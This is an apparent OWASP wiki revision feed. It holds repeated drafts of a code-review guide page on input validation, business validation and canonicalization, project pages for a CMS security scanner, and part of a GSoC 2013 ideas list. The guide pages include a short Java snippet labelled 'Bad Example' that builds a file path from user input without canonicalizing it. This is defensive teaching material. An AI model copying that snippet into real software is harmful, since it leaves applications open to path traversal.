[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=158814</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=158814"/>
				<updated>2013-09-23T01:18:32Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation==&lt;br /&gt;
All external input to the system should undergo input validation. The validation rules are defined by the business requirements for the application. If possible, an exact match validator should be implemented. Exact match only permits data that conforms to an expected value. A &amp;quot;Known good&amp;quot; approach (white-list), which is a little weaker, but more flexible, is common. Known good only permits characters/ASCII ranges defined within a white-list. Such a range is defined by the business requirements of the input field. The other approaches to data validation are &amp;quot;known bad,&amp;quot; which is a black list of &amp;quot;bad characters&amp;quot;. This approach is not future proof and would need maintenance. &amp;quot;Encode bad&amp;quot; would be very weak, as it would simply encode characters considered &amp;quot;bad&amp;quot; to a format which should not affect the functionality of the application.&lt;br /&gt;
&lt;br /&gt;
==Business Validation==&lt;br /&gt;
Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows which can dramatically damage the bottom line. &lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Projects/OWASP_Odz_MultiCMSScanner/Releases/Current&amp;diff=155788</id>
		<title>Projects/OWASP Odz MultiCMSScanner/Releases/Current</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Projects/OWASP_Odz_MultiCMSScanner/Releases/Current&amp;diff=155788"/>
				<updated>2013-07-21T18:16:06Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template: &amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;Release About&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_home_page = OWASP Odz MultiCMSScanner&lt;br /&gt;
&lt;br /&gt;
| release_name = Odz MultiCMSScanner v1.0&lt;br /&gt;
| release_date = July 21st, 2013&lt;br /&gt;
| release_description = This release is a new enhanced pyhton version&lt;br /&gt;
| release_license = [https://sourceforge.net/directory/license:osi-approved-open-source/gnu-general-public-license-version-2.0-gplv2/ GNU General Public License version 2.0 (GPLv2)] &lt;br /&gt;
| release_download_link = https://github.com/islamoc/odz&lt;br /&gt;
 &lt;br /&gt;
| leader_name1 = Islam Azeddine Mennouchi&lt;br /&gt;
| leader_email1 = azeddine.mennouchi@owasp.org&lt;br /&gt;
| leader_username1 = Islam_Azeddine_Mennouchi&lt;br /&gt;
 &lt;br /&gt;
| contributor_name1 = Khaled&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
&lt;br /&gt;
| release_notes = https://github.com/islamoc/odz&lt;br /&gt;
&lt;br /&gt;
| links_url[1-10] =&lt;br /&gt;
| links_name[1-10] =&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Odz_MultiCMSScanner&amp;diff=155787</id>
		<title>OWASP Odz MultiCMSScanner</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Odz_MultiCMSScanner&amp;diff=155787"/>
				<updated>2013-07-21T18:14:28Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Social Media Links}}&lt;br /&gt;
{{Template: &amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;Project About&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_home_page = OWASP Odz MultiCMSScanner&lt;br /&gt;
&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_mailing_list = https://lists.owasp.org/mailman/listinfo/odz_multicmsscanner&lt;br /&gt;
| release_date = April 2, 2012&lt;br /&gt;
| project_description = This project was released to make CMS security tests easier and quicker&lt;br /&gt;
| project_license = [https://sourceforge.net/directory/license:osi-approved-open-source/gnu-general-public-license-version-2.0-gplv2/ GNU General Public License version 2.0 (GPLv2)] &lt;br /&gt;
| mailing_list_name =  https://lists.owasp.org/mailman/listinfo/odz_multicmsscanner&lt;br /&gt;
| release_1 = https://www.owasp.org/index.php/Projects/OWASP_Odz_MultiCMSScanner/Releases/Current&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| leader_name1 = Mennouchi Islam Azeddine&lt;br /&gt;
| leader_email1 = azeddine.mennouchi@owasp.org&lt;br /&gt;
| leader_username1 = Islam_Azeddine_Mennouchi&lt;br /&gt;
 &lt;br /&gt;
| contributor_name1 = Khaled Anseur&lt;br /&gt;
| contributor_email1 = ked-h@hotmail.com&lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
&lt;br /&gt;
| release_notes = https://github.com/islamoc/odz/&lt;br /&gt;
&lt;br /&gt;
| links_url[1-10] =&lt;br /&gt;
| links_name[1-10] =&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Odz_MultiCMSScanner&amp;diff=155786</id>
		<title>OWASP Odz MultiCMSScanner</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Odz_MultiCMSScanner&amp;diff=155786"/>
				<updated>2013-07-21T18:13:21Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Social Media Links}}&lt;br /&gt;
{{Template: &amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;Project About&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_home_page = OWASP Odz MultiCMSScanner&lt;br /&gt;
&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_mailing_list = https://lists.owasp.org/mailman/listinfo/odz_multicmsscanner&lt;br /&gt;
| release_date = April 2, 2012&lt;br /&gt;
| project_description = This project was released to make CMS security tests easier and quicker&lt;br /&gt;
| project_license = [https://sourceforge.net/directory/license:osi-approved-open-source/gnu-general-public-license-version-2.0-gplv2/ GNU General Public License version 2.0 (GPLv2)] &lt;br /&gt;
| mailing_list_name =  https://lists.owasp.org/mailman/listinfo/odz_multicmsscanner&lt;br /&gt;
| release_1 = https://www.owasp.org/index.php/Projects/OWASP_Odz_MultiCMSScanner/Releases/Current&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| leader_name1 = Mennouchi Islam Azeddine&lt;br /&gt;
| leader_email1 = azeddine.mennouchi@owasp.org&lt;br /&gt;
| leader_username1 = Islam_Azeddine_Mennouchi&lt;br /&gt;
 &lt;br /&gt;
| contributor_name1 = Khaled Anseur&lt;br /&gt;
| contributor_email1 = ked-h@hotmail.com&lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
&lt;br /&gt;
| release_notes = https://github.com/islamoc/odz&lt;br /&gt;
&lt;br /&gt;
| links_url[1-10] =&lt;br /&gt;
| links_name[1-10] =&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=151197</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=151197"/>
				<updated>2013-05-08T16:20:56Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation==&lt;br /&gt;
All external input to the system should undergo input validation. The validation rules are defined by the business requirements for the application. If possible, an exact match validator should be implemented. Exact match only permits data that conforms to an expected value. A &amp;quot;Known good&amp;quot; approach (white-list), which is a little weaker, but more flexible, is common. Known good only permits characters/ASCII ranges defined within a white-list. Such a range is defined by the business requirements of the input field. The other approaches to data validation are &amp;quot;known bad,&amp;quot; which is a black list of &amp;quot;bad characters&amp;quot;. This approach is not future proof and would need maintenance. &amp;quot;Encode bad&amp;quot; would be very weak, as it would simply encode characters considered &amp;quot;bad&amp;quot; to a format which should not affect the functionality of the application.&lt;br /&gt;
&lt;br /&gt;
==Business Validation==&lt;br /&gt;
Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows which can dramatically damage the bottom line. &lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=151196</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=151196"/>
				<updated>2013-05-08T16:19:48Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
===Data Validation===&lt;br /&gt;
All external input to the system should undergo input validation. The validation rules are defined by the business requirements for the application. If possible, an exact match validator should be implemented. Exact match only permits data that conforms to an expected value. A &amp;quot;Known good&amp;quot; approach (white-list), which is a little weaker, but more flexible, is common. Known good only permits characters/ASCII ranges defined within a white-list. Such a range is defined by the business requirements of the input field. The other approaches to data validation are &amp;quot;known bad,&amp;quot; which is a black list of &amp;quot;bad characters&amp;quot;. This approach is not future proof and would need maintenance. &amp;quot;Encode bad&amp;quot; would be very weak, as it would simply encode characters considered &amp;quot;bad&amp;quot; to a format which should not affect the functionality of the application.&lt;br /&gt;
&lt;br /&gt;
===Business Validation===&lt;br /&gt;
Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows which can dramatically damage the bottom line. &lt;br /&gt;
&lt;br /&gt;
===Canonicalization===&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
===Bad Example===&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Good Example===&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=151195</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=151195"/>
				<updated>2013-05-08T15:58:16Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: Created page with &amp;quot;{{LinkBar   | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection   | usemain=MainLink | main=OWASP Code review V2 Table of Contents | ...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
Input validation is one of the most effective technical controls for application security. It can mitigate numerous vulnerabilities including cross-site scripting, various forms of injection, and some buffer overflows. Input validation is more than checking form field values. The chapter on transactional analysis talks about this. &lt;br /&gt;
&lt;br /&gt;
===Data Validation===&lt;br /&gt;
All external input to the system should undergo input validation. The validation rules are defined by the business requirements for the application. If possible, an exact match validator should be implemented. Exact match only permits data that conforms to an expected value. A &amp;quot;Known good&amp;quot; approach (white-list), which is a little weaker, but more flexible, is common. Known good only permits characters/ASCII ranges defined within a white-list. Such a range is defined by the business requirements of the input field. The other approaches to data validation are &amp;quot;known bad,&amp;quot; which is a black list of &amp;quot;bad characters&amp;quot;. This approach is not future proof and would need maintenance. &amp;quot;Encode bad&amp;quot; would be very weak, as it would simply encode characters considered &amp;quot;bad&amp;quot; to a format which should not affect the functionality of the application.&lt;br /&gt;
&lt;br /&gt;
===Business Validation===&lt;br /&gt;
Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows which can dramatically damage the bottom line. &lt;br /&gt;
&lt;br /&gt;
===Canonicalization===&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
===Bad Example===&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Good Example===&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GSoC2013_Ideas&amp;diff=150456</id>
		<title>GSoC2013 Ideas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GSoC2013_Ideas&amp;diff=150456"/>
				<updated>2013-04-25T14:21:08Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==OWASP Project Requests==&lt;br /&gt;
===OWASP WebGoatPHP===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[Webgoat]] is a deliberately insecure open source software made by OWASP using Java programming language. It has a set of challenges and steps, each providing the user with one or more web application vulnerability which user tries to solve. There are also hints and auto-detection of correct solutions. &lt;br /&gt;
Since Java is not the most common web application programming language, and it doesn't have many of the bugs other languages such as PHP have when it comes to security, OWASP has [[OWASP_WebGoat_Reboot2012|dedicated in 2012]] an amount of $5000 for promotion of WebGoatPHP.&lt;br /&gt;
&lt;br /&gt;
If you want to know more about WebGoatPHP, I suggest downloading and giving WebGoat a try. It is one of OWASP prides (about 200000 downloads).&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' WebGoatPHP will be a deliberately insecure PHP web application which operates in different modes. A contest mode where challenges are selected by an admin and the system starts a contest. Admins can open up hints for participants and manage everything. A workshop mode, where the educator has control of the most of application features, as well as feedback of user activities and is ideal for learning environments, and a single mode where someone can browse challenges and solve them.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' You just need to know PHP. You are supposed to define flawed systems, which is not the hardest thing. Familiarity with web application security and SQL is recommended.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
===OWASP CSRF Guard===&lt;br /&gt;
'''Description:''' [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] is a complicated yet very effective web attack. The most important thing about CSRF is that it's hard to properly defend against it, specially when it comes to Web 2 and AJAX. We have had discussions on means of mitigating CSRF for years at OWASP, and are now ready to develop libraries for it. Many of the key ideas of this library can be found at [http://www.cs.sunysb.edu/~rpelizzi/jcsrf.pdf].&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' A transparent Apache 2 module properly mitigating all POST CSRF attacks, as well as a lightweight PHP library doing the same.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisites:''' Knowing CSRF and at least one way to defend against it, PHP, C/C++, Linux.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP PHP Security Project===&lt;br /&gt;
&lt;br /&gt;
'''Description:'''&lt;br /&gt;
OWASP PHP Security project plans to gather around secure PHP libraries, and provide a full featured framework of libraries for secure web applications in PHP, both as separate de-coupled libraries and as a whole secure web application framework. Many aspects of this project are already handled, and are being added to OWASP.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results: ''' Result of this project is much more security among PHP applications. Most PHP applications are vulnerable and there's no central approach to secure them (due to open source nature). Many people look at OWASP for such information.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Anyone with adequate PHP programming language experience (possibly web application development in PHP).  There are hard and easy parts of this project. For tougher parts, familiarity with security concepts, advanced SQL, and advanced PHP and web server configuration is required. &lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
===OWASP RBAC Project===&lt;br /&gt;
'''Description:''' ''For the last 6 years, improper access control has been the issue behind two of the Top Ten lists''. &lt;br /&gt;
&lt;br /&gt;
RBAC stands for Role Based Access Control and is the de-facto access control and authorization standard. It simplifies access control and its maintenance for small and enterprise systems alike. NIST RBAC standard has four levels, the second level hierarchical RBAC is intended for this project.&lt;br /&gt;
&lt;br /&gt;
Unfortunately because of many performance and development problems, no suitable RBAC implementation was available until recently, so developers and admins mostly used ACLs and other forms of simple access control methods, which leads to broken and unmaintainable access control over the time. &lt;br /&gt;
&lt;br /&gt;
OWASP provides the RBAC project, as a stand-alone library with very fast access control checks and standard mature code-base. Currently [[PHPRBAC]] which is the PHP version of the RBAC project is released.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' Standard NIST level 2 hierarchical RBAC libraries for different programming languages, specially web-based ones such as C/C++/Java/ASP/ASPX/Python/Perl/etc.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Good SQL knowledge, library development schemes, familiarity with one of the programming languages.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Advanced&lt;br /&gt;
&lt;br /&gt;
For more info, visit [http://phprbac.net phprbac.net]&lt;br /&gt;
&lt;br /&gt;
===OWASP XSSer Project===&lt;br /&gt;
&lt;br /&gt;
XSSer has a correct engine implementation to search/exploit XSS vulnerabilities, but it is necessary to work on some different fields to obtain better results. Some of them are: to fight against &amp;quot;false positive&amp;quot; results, to implemenet a better human-readable output results and to develop some new features (like; CSSer, Code checks user inputs, etc...). Also, it will be nice to update the tool with more valid XSS vectors (DOM, DCP, reflected, etc...) and some &amp;quot;anti-anti-XSS&amp;quot; systems for more common browsers. &lt;br /&gt;
&lt;br /&gt;
There is a roadmap on a pdf file with all tasks required to advance to next release of 'XSSer' (v1.7b - Total Swarm!)&lt;br /&gt;
&lt;br /&gt;
Download: http://xsser.sourceforge.net/xsser/xsser-roadmap.pdf &lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
